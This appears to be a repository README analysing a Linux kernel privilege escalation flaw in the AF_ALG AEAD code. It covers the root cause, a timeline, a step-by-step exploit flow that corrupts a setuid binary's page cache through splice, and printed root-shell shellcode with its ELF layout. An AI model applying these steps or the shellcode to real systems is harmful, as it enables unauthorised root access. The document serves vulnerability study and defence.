
Educational analysis of CVE-2026-31431, a Linux kernel local privilege escalation via AF_ALG AEAD in-place operation, including technical root cause, detection, and mitigation.
Educational technical analysis of one of the most significant Linux kernel vulnerabilities since Dirty Pipe (2022).
This repository is intended for research, study, and defense. No functional exploit is distributed here.
CVE-2026-31431, nicknamed Copy Fail, is a local privilege escalation (LPE) vulnerability in the Linux kernel. It allows any unprivileged user to gain root access within seconds.
| Attribute | Value |
|---|---|
| CVE | CVE-2026-31431 |
| CVSS Score | 7.8 HIGH |
| Type | Local Privilege Escalation (LPE) |
| Subsystem | crypto/algif_aead.c — AF_ALG |
| Introduced in | Kernel 4.14 (commit 72548b093ee3, July 2017) |
| Fixed in | 6.18.22 / 6.19.12 / 7.0 (commit a664bf3d603d) |
| Discovered by | Taeyang Lee — Theori / Xint Code |
| Public disclosure | April 29, 2026 |
| Public PoC | Yes — Python script of ~732 bytes |
Imagine that the operating system has a working memory (called page cache) where it keeps copies of the files that are being used. When you run a program, the system loads that program into this memory and executes it from there — not directly from disk.
Copy Fail allows a regular user to modify that in-memory copy of a special program (a setuid binary, such as the su command) without touching the original file on disk. The file on disk remains intact, but when the program is executed, the system reads the corrupted version from memory.
It's like swapping the recipe of a dish in a chef's memory while he is cooking — the original cookbook doesn't change, but the dish that comes out is completely different.
The result: the corrupted program executes the attacker's code with root permissions.
What makes this especially dangerous:
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos
---
## How it works technically
### Flow overview```
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
The bug lives in crypto/algif_aead.c. In 2017, the AEAD operation was converted to in-place to gain performance:```c
// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA
The `authencesn` algorithm uses the destination buffer as *scratch space* to rearrange bytes of the IPsec Extended Sequence Number (ESN):```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadas
The write completely bypasses the VFS. The modified page is never marked as dirty by the kernel's writeback mechanism. The file on disk remains intact. Hash-based integrity tools (aide, tripwire, inotifywait) detect nothing because they monitor the disk, not the page cache.
The exploit embeds a 160-byte mini-ELF compressed with zlib. After decompression, the executable part is:```nasm ; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)
; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)
bin_sh: db "/bin/sh", 0
**Minimal ELF structure (160 bytes total):**```
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")